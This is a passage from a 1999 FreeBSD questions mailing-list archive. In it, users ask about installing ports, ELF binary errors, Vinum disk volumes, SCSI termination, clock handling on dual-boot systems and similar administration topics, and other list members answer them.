ftp.freebsd.org is the default and thus heavily (ab)used, try ftp1, ftp2,
ftp3, etc for better connectivity or try an even more local mirror.

HTH,

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Sat Mar 27  0:26:19 1999
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Ken Marx <kmarx@bigshed.com>
Subject: RE: timidity-0.2i on 2.2.8?
Cc: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>
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On 27-Mar-99 Ken Marx wrote:

> I downloaded the binaries from www.freebsd.org/ports/audio.html
> but the binary complains that:
> 
> ELF interpreter /usr/libexec/ld-elf.so.1 not found
> Abort trap
> 
> This looks suspiciously like it's for 3.x fbsd. Esp. since the
> binary is branded as:
> 
> bin/timidity: ELF 32-bit LSB executable, Intel 80386, version 1
> (FreeBSD), dynamically linked, stripped

It is for FreeBSD 3.x and higher.

Ye could get the updated ports collection and upgrade kits and try again?

www.freebsd.org/ports

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
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From owner-freebsd-questions  Sat Mar 27  0:26:23 1999
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To: Laurence Berland <stuyman@confusion.net>
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On 27-Mar-99 Laurence Berland wrote:
> Just wondering, is 3.2 gonna be a -stable on the CDs or a -Release on
> the cds??  That's coming out in june, right?

CD's are always RELEASEs. STABLE is the road we walk from which we get the
RELEASEs.

Basically it's just a little name =)
(and those more familiar with trunks, branches, etc know better ;)

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Sat Mar 27  0:31:42 1999
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Date: Sat, 27 Mar 1999 10:30:44 +0200
From: Ruslan Ermilov <ru@ucb.crimea.ua>
To: Gold Fish <gfish@uniqsite.com>
Cc: FreeBSD Forum <questions@FreeBSD.ORG>
Subject: Re: How to re-create the missing link
Message-ID: <19990327103044.A48742@relay.ucb.crimea.ua>
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On Sat, Mar 27, 1999 at 12:05:51AM -0800, Gold Fish wrote:
> 
> I had to restore the system from tape and I notice a lot of links are not
> there any more.
> 
> I suppose the links are generated when the system was installed.  Which
> script can I run in order to put back the links?
> 
> I am on 3.1-stable.

`make world' will cure all your problems.
See http://www.nothing-going-on.demon.co.uk/FreeBSD/make-world/make-world.html
for details.


Cheers,
-- 
Ruslan Ermilov		Sysadmin and DBA of the
ru@ucb.crimea.ua	United Commercial Bank
+380.652.247.647	Simferopol, Ukraine

http://www.FreeBSD.org	The Power To Serve
http://www.oracle.com	Enabling The Information Age


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From owner-freebsd-questions  Sat Mar 27  0:32:22 1999
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Date: Sat, 27 Mar 1999 09:32:58 +0100 (CET)
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Eric Ken Lin <elin@orion.ac.hmc.edu>
Subject: RE: Problem with PINE 4.10
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On 26-Mar-99 Eric Ken Lin wrote:
> Today, I found out that ld-elf.so.1 could be downloaded from
> http://www.freebsd.org/java, so I decided to attempt to install the PINE
> 4.10 mailreader package onto my FreeBSD 2.2.5 system, replacing PINE 4.01
> which was on my system & had worked perfectly fine.

Heh, guess the new features and bugfixes of Pine were worth it?

> Then I attempted to execute PINE 4.10 & received the following error
> message:
> 
>      /usr/libexec/ld-elf.so.1: Shared object "libtermcap.so.2" not found
> 
> So I made soft links to /usr/lib/libtermcap.so.2.1 under the names of
> /usr/libexec/libtermcap.so.2 & /usr/local/lib/libtermcap.so.2, attempted
> to re-run PINE, & still received the above error message.

Not surprisingly. ld-elf.so will most likely be an ELF library and expects
ELF libraries to interoperate with. Your 2.2.5 system is pure aout,
basically a no-go.

Upgrade to 3.1-R or STABLE and get up to par again...

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Sat Mar 27  0:44: 1 1999
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From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: Graham Harris <graham@itplc.com>
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On 26-Mar-99 Graham Harris wrote:
> 1.What hardware is supported, more specifically what printers, eg are
> Unix drivers for Epson printers available?

For that we have APSFilter. And basically Unix gives jack 'bout the
printer, best printers are PS-supporting ones though...
 
> 2.What is the differences (if any) between freeBSD and Linux?

That's highly religious content, please see the -chat, -advocacy and
-questions mailinglist archives for this...

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Sat Mar 27  0:44:10 1999
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Date: Sat, 27 Mar 1999 09:43:35 +0100 (CET)
Organization: Ninth Circle Enterprises
From: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
To: The Classiest Man Alive <ksmm@threespace.com>
Subject: RE: LRP vs. PicoBSD
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On 26-Mar-99 The Classiest Man Alive wrote:
> Got no reply to this on freebsd-small, so I figured I'd try here...
> ________________________________________________________
> 
> Is the Linux Router Project (http://www.linuxrouter.org) similar to
> PicoBSD in terms of functionality?

Somewhat, except that picoBSD focuses on multiple targets, currently the
whole base system has been revised by Andrzej for the ELF stuff, I'm doing
work on the Zebra project which might be a candidate for inclusion in the
router distribution of picoBSD.

Best thing would be to test it yerself eh? =)

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Sat Mar 27  0:45:34 1999
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From: Greg Lehey <grog@lemis.com>
To: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>,
	Laurence Berland <stuyman@confusion.net>
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On Saturday, 27 March 1999 at  9:26:51 +0100, Jeroen Ruigrok/Asmodai wrote:
> On 27-Mar-99 Laurence Berland wrote:
>> Just wondering, is 3.2 gonna be a -stable on the CDs or a -Release on
>> the cds??  That's coming out in june, right?
>
> CD's are always RELEASEs. STABLE is the road we walk from which we get the
> RELEASEs.

Almost right.  Sometimes we release snapshots of -CURRENT, but they're
clearly marked as such.

Greg
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From owner-freebsd-questions  Sat Mar 27  1: 2:50 1999
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Date: Sat, 27 Mar 1999 19:32:06 +1030
From: Greg Lehey <grog@lemis.com>
To: kiril@idea.co.uk, freebsd-questions@FreeBSD.ORG
Subject: Re: vinum with MANY parts
References: <199903251729.RAA18994@idea.co.uk>
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On Thursday, 25 March 1999 at 17:29:24 +0000, Kiril Mitev wrote:
> Hi All
>
> This is what i am trying to do...
> I have 2 disks of 4gb and 2 disks of 8gb, and i am
> trying to make them into 1 big volume...
>
> questions :-)
> 1. my understanding is that if more than one plex is in
> a volume, these plexes (en) become mirrors, right ?

Yes.

> 2. so, all 4 disks should be in one plex, right ?

Almost.  The *contents* of the drives should be in one plex.  You need
to create a subdisk which uses up all the space in a drive, and add
that to the plex.

> 3. i should be able to 'concat' all 4 disks into a plex, right ?

Yes.

> 4. is it possible (if yes, how?) to set the equal-sized
> 'drives' to be striped ?

Well, not really, since you can only stripe plexes.  And yes, each
subdisk of a striped plex must be the same size.  I'll leave it as an
exercise for the reader to figure out how to make the subdisks the
same size :-)

Here's one possibility for the "one big volume" scenario:

drive 1 device /dev/da1e
drive 2 device /dev/da2e
drive 3 device /dev/da3e
drive 4 device /dev/da4e
volume everything
  plex org concat
    sd length 4g drive 1
    sd length 4g drive 2
    sd length 2g drive 3
    sd length 2g drive 4

You don't say which version of Vinum you're planning to use, but there
has been a lot of work on -stable lately, and it'll be retrofitted to
-STABLE Real Soon Now, so unless you're using 2.2.8, you should get
the -CURRENT version from ftp://ftp.lemis.com/pub/vinum/ and test
that.  It'll run on 3.1 and -STABLE as well.  In a couple of days,
then, you can get the retrofitted version.

Greg
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From owner-freebsd-questions  Sat Mar 27  2:55:49 1999
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Date: Sat, 27 Mar 1999 21:54:23 +1100 (EST)
From: Peter Hawkins <peter@clari.net.au>
To: Greg Black <gjb@comkey.com.au>
Cc: questions@FreeBSD.ORG
Subject: Re: NFS or AFS or ??? 
In-Reply-To: <19990326213148.6371.qmail@alpha.comkey.com.au>
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-----BEGIN PGP SIGNED MESSAGE-----

Real NFS gurus are pretty highly prized dudes. I've heard tell there are
moves to attempt to poach one to our camp to address known bugs. See the PRs
for details.

Peter

Clarinet Internet Solutions    Peter Hawkins
381 Swan St Richmond,      
Vic, Australia                 Ph: +61-3-9421 2006 Fax: +61-3-9421 2007
http://www.clari.net.au        Peter@clari.net.au

FreeBSD Project:               thepish@FreeBSD.org

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From owner-freebsd-questions  Sat Mar 27  3:37:23 1999
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FreeBSD support Sportster 128k TA?  

please email responses

never@netropolis.net


-

never@netropolis.net



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From owner-freebsd-questions  Sat Mar 27  4:49:58 1999
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From: dissonant <disowned@linda.pomona.edu>
To: freebsd-questions@freebsd.org
Subject: empty a file?
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Sorry to ask a dumb unix question....but, is there any easy way, in the
shell or in a script of some sort, to empty a file, leaving its
permissions, uid/gid, etc, untouched?

Thanks.


        [[  M  i  c  h  a  e  l     L  i  e  b  e  r  m  a  n  ]]
        [[  d i s o w n e d @ l i n d a . p o m o n a . e d u  ]]



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From owner-freebsd-questions  Sat Mar 27  5: 2:19 1999
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To: dissonant <disowned@linda.pomona.edu>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: empty a file? 
In-reply-to: Your message of "Sat, 27 Mar 1999 04:48:11 PST."
             <Pine.BSF.4.05.9903270446260.52265-100000@linda.pomona.edu> 
From: David Greenman <dg@root.com>
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>Sorry to ask a dumb unix question....but, is there any easy way, in the
>shell or in a script of some sort, to empty a file, leaving its
>permissions, uid/gid, etc, untouched?

   cp /dev/null file

-DG

David Greenman
Co-founder/Principal Architect, The FreeBSD Project


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From owner-freebsd-questions  Sat Mar 27  5: 3:31 1999
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Date: Sat, 27 Mar 1999 07:02:36 -0600
To: dissonant <disowned@linda.pomona.edu>
From: Don Read <sysop@calcasieu.com>
Subject: Re: empty a file?
Cc: freebsd-questions@FreeBSD.ORG
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At 04:48 AM 3/27/99 -0800, dissonant wrote:
>Sorry to ask a dumb unix question....but, is there any easy way, in the
>shell or in a script of some sort, to empty a file, leaving its
>permissions, uid/gid, etc, untouched?
>

pine.sysop$ ls -l
total 607472
-rw-rw-r--   1 sysop    user     7594496 Mar 26 20:31 IPHQUOTE.DF
-rw-rw-r--   1 sysop    user     302211584 Mar 26 19:08 IPQUOTES.DF
-rw-r--r--   1 ecsguest user        1008 Oct 13 13:58 blast.log
pine.sysop$ su
Password:
# >blast.log
# ls -l
total 607470
-rw-rw-r--   1 sysop    user     7594496 Mar 26 20:31 IPHQUOTE.DF
-rw-rw-r--   1 sysop    user     302211584 Mar 26 19:08 IPQUOTES.DF
-rw-r--r--   1 ecsguest user           0 Mar 27 07:00 blast.log

Regards,
-- 
Don Read                               sysop@calcasieu.com
EDP Manager                                dread@texas.net
Calcasieu Lumber Co.                             Austin TX
- There cannot be a crisis next week. My schedule is already full.



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From owner-freebsd-questions  Sat Mar 27  6:15:40 1999
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From: "David Liles" <lord_carn@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: error code 1
Date: Sat, 27 Mar 1999 06:15:20 PST
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Hi,

i've recently tried to install freeBSD on a disk with 408 meg free, the 
CD inlay card says i only needed 350, when i go to intall the ports, it 
goes so far then stops installing certain things bringing up error code 
1, i am unsure as to what that is.

can you please shed some light on it, this is with version 2.2.6 by the 
way.

thanx in advance
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From owner-freebsd-questions  Sat Mar 27  7:18: 1 1999
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Does FreeBSD 3.1 support winmodems?



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From owner-freebsd-questions  Sat Mar 27  7:34:35 1999
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>Does FreeBSD 3.1 support winmodems?


Nope, and I would also recommend an external.

Neill
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From owner-freebsd-questions  Sat Mar 27  7:51:12 1999
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I've read over natd a million times it doesn't seem to be what I'm looking
for.  I could be wrong, man pages are sometimes unclear in some areas.

I have two machines.  FreeBSD with one external IP and 10.1.1.1
internally, also I have a win95 machine with an internal address of
10.1.1.2 named mb.domain.com.  Everything routes internally fine!

What I need to do is ftp to mb.domain.com (95 machine) from outside but
still be able to ftp to domain.com (FreeBSD).  I don't want to give the 95
machine that port.  Is this possible without another external address?

Thanks!
Jerry



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From owner-freebsd-questions  Sat Mar 27  9:23:32 1999
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From: "John Peterman" <ticketer@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Installing From CD
Date: Sat, 27 Mar 1999 09:22:59 PST
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hello,
     Im am interested in installing FreeBSD on an old 486 box. I was 
wondering if there is some way for me to download FreeBSD and burn it to 
CD using my win98 box and CD-R.  Then install it.  Basically is there 
any way for me to download the ISO?

thx
ticketer@hotmail.com
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From owner-freebsd-questions  Sat Mar 27  9:27:13 1999
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On Sat, Mar 27, 1999 at 09:20:32AM -0600, Jeremy Agte wrote:
> Does FreeBSD 3.1 support winmodems?

Noone else than M$ supports winmodems.

-- 
                           __o
regards, Gunnar       ---_ \<,_
email: flygt@sr.se ---- (_)/ (_)


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From owner-freebsd-questions  Sat Mar 27  9:35:18 1999
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Date: Sat, 27 Mar 1999 12:34:39 -0500 (EST)
From: Matt of the Long Red Hair <mattp@conundrum.com>
To: John McNamee <jpm@igcinc.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Save Apache logs into user home directories
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On Fri, 26 Mar 1999, John McNamee wrote:

> I want to set up daily log rotation with the output going into a file under a
> user home directory (e.g. /home/foobar/logs/1999-03-26.log).  I understand
> there are some security problems with this, but I'm not fully up to speed on
> the details.  I know that some of the large web hosting companies do their logs
> this way, so I assume there must be a secure way to handle it.  Can anybody
> point me in the right direction?

I can't think of any inherent security problems with the concept -- but you
may have some privacy issues if you implement this improperly.

As long as you make sure that only the log entries that pertain to a
particular user end up in that user's personal log file, and as long as the
log file that gets written to the user's directory is owned and readable only
by that user, you should be fine.

-----------------------------------------------------------------------------
Matthew Pounsett (MP1229)                                 mattp@conundrum.com
PGP Fingerprint =  40 E8 24 BC C1 98 00 F2  56 2F F6 7B 36 34 58 01 
                          http://www.conundrum.com/~mattp
``Chaos often breeds life, when order breeds habit.'' -- Henry Brooks Adams



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From owner-freebsd-questions  Sat Mar 27  9:43:36 1999
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To: Jerry Raynor <jerryr@ComCAT.COM>
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nope need another static ip

--/The human mind ordinarily operates at only ten percent of its capacity -- 
		the rest is overhead for the operating system.\--
     	     --/System Administrator      support@techpower.net\--


On Sat, 27 Mar 1999, Jerry Raynor wrote:

> I've read over natd a million times it doesn't seem to be what I'm looking
> for.  I could be wrong, man pages are sometimes unclear in some areas.
> 
> I have two machines.  FreeBSD with one external IP and 10.1.1.1
> internally, also I have a win95 machine with an internal address of
> 10.1.1.2 named mb.domain.com.  Everything routes internally fine!
> 
> What I need to do is ftp to mb.domain.com (95 machine) from outside but
> still be able to ftp to domain.com (FreeBSD).  I don't want to give the 95
> machine that port.  Is this possible without another external address?
> 
> Thanks!
> Jerry
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Sat Mar 27  9:48:11 1999
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From: Ben Manes <anarchy@crl.com>
To: Rick Hamell <hamellr@dsinw.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: unhappy installation
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> 	It kinda sounds like a termination problem to me. I'm not sure
> which kind that card has, but I've had to 'clean' the onboard ones before.
> Have you tried another SCSI card? 
> 						Rick

hmm.. well the 2940UW does auto-termination. Its worked fine for every 
other OS I've tried.. the odd thing was that Linux couldn't find my 
yamaha the same way, but installed fine off the plextor (2nd). I thought 
it could have been ultra and wide support on, but setting the card back 
to defualts didn't help.

The problem with using another scsi card is that my only secondaries 
available are two adaptec 6x60, which are fast-scsi 2 isa cards. I might 
be able to get my cdroms and seagate drive on it, but my ibm would be 
dead, and it seems like more of a hassle to switch back and forth then 
its worth it.

So, two questions. What do you mean by 'clean,' and if I copy the cd to 
the root of one of my fat16 partitions, booting off the cd, will it 
install that way? I tried before, but said it didn't see the data on any 
of the partitions...

thanks!
	Ben


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From owner-freebsd-questions  Sat Mar 27  9:54:57 1999
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Date: Sat, 27 Mar 1999 10:09:44 -0800
From: Ken Marx <kmarx@bigshed.com>
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To: Jeroen Ruigrok/Asmodai <asmodai@wxs.nl>
Cc: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>
Subject: Re: timidity-0.2i on 2.2.8?
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Jeroen Ruigrok/Asmodai wrote:
> 
> On 27-Mar-99 Ken Marx wrote:
> 
> > I downloaded the binaries from www.freebsd.org/ports/audio.html
> > but the binary complains that:
> >
> > ELF interpreter /usr/libexec/ld-elf.so.1 not found
> > Abort trap
> >
> > This looks suspiciously like it's for 3.x fbsd. Esp. since the
> > binary is branded as:
> >
> > bin/timidity: ELF 32-bit LSB executable, Intel 80386, version 1
> > (FreeBSD), dynamically linked, stripped
> 
> It is for FreeBSD 3.x and higher.
> 
> Ye could get the updated ports collection and upgrade kits and try again?
> 
> www.freebsd.org/ports
> 
> ---
> Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org>
> asmodai(at)wxs.nl        The idea does not replace the work...
> Network/Security Specialist      <http://home.wxs.nl/~asmodai>
> *BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>

HI,

Thanks for the reply. Forgive my cluelessness, but I don't quite follow
your suggestion. I don't think you mean upgrade to 3.x (not an option
for me at the moment).

So, do you mean get ports.tgz from 
ftp://ftp.freebsd.org/pub/FreeBSD/2.2.8-RELEASE/ports/, and redo the
entire thing?

I'll do this if it's the only way, but seems a bit sledghammerish, no?

Thanks again,
k.
-- 
Ken Marx, kmarx@bigshed.com
It is critical that we each pro-actively review our people strategy  and be 
interrupt driven with regards to the low hanging fruit, etc.
		- http://cgi.bigshed.com/~kmarx/cgi-bin/speak.cgi


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From owner-freebsd-questions  Sat Mar 27 10: 6: 7 1999
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From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <199903271757.MAA48351@lakes.dignus.com>
To: anarchy@crl.com, hamellr@dsinw.com
Subject: Re: unhappy installation
Cc: freebsd-questions@FreeBSD.ORG
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> 
> > 	It kinda sounds like a termination problem to me. I'm not sure
> > which kind that card has, but I've had to 'clean' the onboard ones before.
> > Have you tried another SCSI card? 
> > 						Rick
> 
> hmm.. well the 2940UW does auto-termination. Its worked fine for every 
> other OS I've tried.. the odd thing was that Linux couldn't find my 
> yamaha the same way, but installed fine off the plextor (2nd). I thought 
> it could have been ultra and wide support on, but setting the card back 
> to defualts didn't help.

 Depending on which version of the 2940UW you have - the auto-termination
may not actually work.  (Mine doesn't).

	- Dave Rivers -




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From owner-freebsd-questions  Sat Mar 27 10:14: 8 1999
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From: Ben Manes <anarchy@crl.com>
To: Thomas David Rivers <rivers@dignus.com>
Cc: hamellr@dsinw.com, freebsd-questions@FreeBSD.ORG
Subject: Re: unhappy installation
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>  Depending on which version of the 2940UW you have - the auto-termination
> may not actually work.  (Mine doesn't).
> 
> 	- Dave Rivers -

Well, that's just dandy. I'll go look into that on adaptec's site.. if 
you have any leads please send me the urls. 

Ok, so if termination is the problem, why would it cause such a fuss? I 
know the basics about termination, but I thought it had to do with 
cross-talk (which still doesn't make sense why my yamaha wont work).

Well.. thanks guys.. perhaps I'll go buy a terminator..


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From owner-freebsd-questions  Sat Mar 27 10:20: 0 1999
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From: "Chris Silva" <ras@interaccess.com>
To: "Freebsd-Questions" <freebsd-questions@FreeBSD.ORG>
Subject: ftp scripting
Date: Sat, 27 Mar 1999 12:19:58 -0600
Message-ID: <001001be787e$6c567390$0a00000a@wildrock>
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This may or may not be the place but, I want to device a script
that will do an FTP, login, enter password, bin, put, then logout.

All ideas would help.

_____________________________________________________________________

RSA Key Fingerprint = 6D0B 5536 7825 3D09 9093 384A 9694 FDB6
RSA Key Fingerprint = 4390 44E5 E316 F2AA A11E 5755 F3F9 D69B
DH/DSS Fingerprint = 089B 0B5C 75C7 A7B4 B050 DD14 2D65 5DD6 E87D 239A

PGP Mail encouraged / preferred - keys available on common keyservers
_____________________________________________________________________




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From owner-freebsd-questions  Sat Mar 27 10:21:17 1999
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From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <199903271819.NAA48434@lakes.dignus.com>
To: anarchy@crl.com, rivers@dignus.com
Subject: Re: unhappy installation
Cc: freebsd-questions@FreeBSD.ORG, hamellr@dsinw.com
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> 
> >  Depending on which version of the 2940UW you have - the auto-termination
> > may not actually work.  (Mine doesn't).
> > 
> > 	- Dave Rivers -
> 
> Well, that's just dandy. I'll go look into that on adaptec's site.. if 
> you have any leads please send me the urls. 
> 
> Ok, so if termination is the problem, why would it cause such a fuss? I 
> know the basics about termination, but I thought it had to do with 
> cross-talk (which still doesn't make sense why my yamaha wont work).
> 
> Well.. thanks guys.. perhaps I'll go buy a terminator..
> 

 I believe not long after the first AHA 2940UWs got shipped, Adaptec
acknowledged a bug in the autotermination detection software...  I
think I actually got a little sheet in my box/documentation that
said something about it.

 A check at the web site might prove fruitful.

	- Dave Rivers -



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From owner-freebsd-questions  Sat Mar 27 10:23:53 1999
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Subject: Re: ftp scripting
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	<001001be787e$6c567390$0a00000a@wildrock>
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Load /usr/ports/lang/expect and check out the ftp-rfc script
it installs in /usr/local/bin.

Good Luck,

Jerry Hicks
wghicks@bellsouth.net

From: "Chris Silva" <ras@interaccess.com>
Subject: ftp scripting
Date: Sat, 27 Mar 1999 12:19:58 -0600

> This may or may not be the place but, I want to device a script
> that will do an FTP, login, enter password, bin, put, then logout.
> 
> All ideas would help.
> 
> _____________________________________________________________________
> 
> RSA Key Fingerprint = 6D0B 5536 7825 3D09 9093 384A 9694 FDB6
> RSA Key Fingerprint = 4390 44E5 E316 F2AA A11E 5755 F3F9 D69B
> DH/DSS Fingerprint = 089B 0B5C 75C7 A7B4 B050 DD14 2D65 5DD6 E87D 239A
> 
> PGP Mail encouraged / preferred - keys available on common keyservers
> _____________________________________________________________________
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Sat Mar 27 10:48:57 1999
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From: Nick Sayer <nsayer@quack.kfu.com>
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To: freebsd-questions@freebsd.org
Subject: ppbus printing problems
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After installing 3.1-RELEASE:

ppc0 at 0x378 irq 7 on isa
ppc0: W83877F chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
ppc0: FIFO with 16/16/16 bytes threshold
ppb0: IEEE1284 device found /NIBBLE/ECP
Probing for PnP devices on ppbus0:
ppbus0: <HEWLETT-PACKARD DESKJET 540> MLC,PCL,PML
nlpt0: <generic printer> on ppbus 0
nlpt0: Interrupt-driven port
ppi0: <generic parallel i/o> on ppbus 0

If I set up lpt0, printing is perfect. If I use the above ppbus
configuration, I get garbage after anywhere from a few lines
to a quarter page goes by.

I have gone back to lpt0 for now.

One question in particular: Is there any purpose to the
PnP device probe apart from printing out what got found?
That is, does it do something funky like create an extra
device or some such (like PnP ISA soundcards)?



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From owner-freebsd-questions  Sat Mar 27 11: 0:40 1999
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Date: Sat, 27 Mar 1999 10:59:59 -0800
From: Parker Brown <phbrown@gte.net>
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As root I entered "make install" while in /usr/ports/www/lynx (and
./lynx-current) and got the same messages: couldn't find a .tar.gz file,
then tried to download from a couple of Internet sites -haven't set that
up yet- and finally said "port manually into /usr/ports/distfiles and
try again."
How does one "port manually"?  I even tried various man files and got
nowhere.  I use lynx to access the online handbook.
Is there some other method I could use to install lynx?




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From owner-freebsd-questions  Sat Mar 27 11: 2: 0 1999
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Date: Sat, 27 Mar 1999 17:38:42 +0000
From: Scott Mitchell <rsm@acm.org>
To: The Classiest Man Alive <ksmm@threespace.com>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: Windows vs. FreeBSD: Changing Times
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On Fri, Mar 26, 1999 at 11:36:48AM -0500, The Classiest Man Alive wrote:
> This happens to me every year.  This year I figured I'd ask the experts
> (that means YOU) if there was a simple solution to this problem.
> 
> Daylight Savings Time in the US begins next Sunday, April 4th.  As you may
> remember this means setting every clock, watch, and VCR in your home
> forward by one hour at 2:00 AM on that day.  Depending on how many clocks
> you have, it's tedious, but not exactly strenuous.
> 
> That is, unless you have a computer that can dual boot between Windows and
> FreeBSD.  For those of you who don't know, Windows will automatically
> change your CMOS clock to reflect the correct time after the time change.
> Or you can do it manually.  Either way, that clock needs to be set to the
> correct local time in order for the Windows system time to be reflected
> correctly.
> 
> Unfortunately, FreeBSD seems to do an intelligent translation that
> automatically adds one hour to the CMOS time during the Daylight Time
> period.  This is all good, except that when Windows sets the clock ahead
> one hour and then FreeBSD adds one hour in software...well, you see where
> this is going.  Somebody (Windows or FreeBSD) is going to have the wrong time.
> 
> Is there a simple way around this problem?  Can I tell FreeBSD that even
> though we're in Daylight Time that it should take the CMOS clock as the
> current local time?

Since no-one else seems to want to just tell you the answer....

Just create an empty file /etc/wall_cmos_clock -- FreeBSD will then believe 
that whatever the CMOS gives it is the right time.  It'll still give you
the correct timezone when displaying dates though.

Then you can let Windows do whatever the h*ll it wants.  Yet another
example of there being a right way and a wrong way to do things, and MS
picking the wrong way :)

	Scott
-- 
===========================================================================
Scott Mitchell          | PGP Key ID |"If I can't have my coffee, I'm just 
<scott@dcs.qmw.ac.uk>   | 0x54B171B9 | like a dried up piece of roast goat"
QMW College, London, UK | 0xAA775B8B |     -- J. S. Bach.


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From owner-freebsd-questions  Sat Mar 27 11:17:10 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: 'Vertigo9' <vertigo@nirvanafan.com>,
	freebsd-questions@FreeBSD.ORG
Subject: RE: uninstalling FreeBSD
Date: Sat, 27 Mar 1999 14:17:42 -0500
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Delete the partition that FreeBSD exists on. You don't generally UNINSTALL
an operating system.

My questions is, if there are bad blocks on the harddrive, how is Win9x
going to work any better than FreeBSD will?

> -----Original Message-----
> From:	Vertigo9 [SMTP:vertigo@nirvanafan.com]
> Sent:	Wednesday, March 24, 1999 6:21 PM
> To:	freebsd-questions@FreeBSD.ORG
> Subject:	uninstalling freebsd
> 
> how can i uninstall freebsd? i have bad file blocks on my hard drive and
> i cant login normally. its on my laptop and i'd rather have win95 or
> something like that, unless theres a way to fix these bad blocks.
> 
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Sat Mar 27 11:19:56 1999
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Date: Sat, 27 Mar 1999 11:34:47 -0800
From: Ken Marx <kmarx@bigshed.com>
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Hi,

I can configure and run xmcd on my 2.2.8 box with atapi
CD drives (/dev/rwcd[01]c). It even correctly identifies
the disk. But it can't play or do much else:

CD audio: ioctl error on /dev/rwcd0c: cmd=CDIOCSETVOL errno=5
CD audio: ioctl error on /dev/rwcd0c: cmd=CDIOCPLAYMSF errno=5
CD audio: ioctl error on /dev/rwcd0c: cmd=CDIOCPLAYMSF errno=5
CD audio: ioctl error on /dev/rwcd0c: cmd=CDIOCREADSUBCHANNEL errno=5

I saw earler postings that this might also occur with other players
(xcdplayer?), so maybe it's not just 'xmcd'. I didn't see that anyone
ever got it figured out.

Actually, I *did* have cdplay working, and 'xcdplayer' at least able
to play, but with some controls not working. Now, after mucking with
xmcd, these other two apps also seem to be farkled.

All very frustrating.
Any clues?

Thanks (as always),
k.
-- 
Ken Marx, kmarx@bigshed.com
It's wrong headed not to work our fingers to the bones and prototype the ISO 
9000 certification, etc.
		- http://cgi.bigshed.com/~kmarx/cgi-bin/speak.cgi


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From owner-freebsd-questions  Sat Mar 27 11:40:16 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 11:39:32 -0800
To: Parker Brown <phbrown@gte.net>, freebsd-questions@FreeBSD.ORG
From: charon@freethought.org
Subject: Re: Troubles Installing lynx from ports on 3.1
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At 10:59 AM 3/27/99 -0800, Parker Brown wrote:
>As root I entered "make install" while in /usr/ports/www/lynx (and
>./lynx-current) and got the same messages: couldn't find a .tar.gz file,
>then tried to download from a couple of Internet sites -haven't set that
>up yet- and finally said "port manually into /usr/ports/distfiles and
>try again."
>How does one "port manually"?

For those of us like me, who don't have a FreeBSD machine connected to the
internet, we have additional fun compiling ports  :)  Of course, the best
option for you sounds like connecting you machine to the internet _first_,
then installing ports.

http://www.freebsd.org/ports/ is a good resource (I'm assuming you have
internet connectivity, just not FreeBSD internet connectivity, since it
sounds like you don't have the CD's...).  Go there, search for the name of
the port you want, and click on "sources," and you can download it from
there.  Once you have the source (a .tar.gz file, almost always), put it in
the directory '/usr/ports/distfiles'.  Then just do a 'make install clean'
in the directory of the port you just downloaded.  For many ports, you'll
also have to worry about other ports that might be required, but not for
lynx.  Hope this helps!



__________________________________________
         Charon@freethought.org
 http://members.home.net/tuathadedanann/

   "Unthinking respect for authority 
    is the greatest enemy of truth."
	     -Albert Einstein
__________________________________________


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From owner-freebsd-questions  Sat Mar 27 11:45:12 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 11:43:53 -0800 (PST)
From: dissonant <disowned@linda.pomona.edu>
To: freebsd-questions@freebsd.org
Subject: equivalent of BSD/OS /etc/hosts.deny?
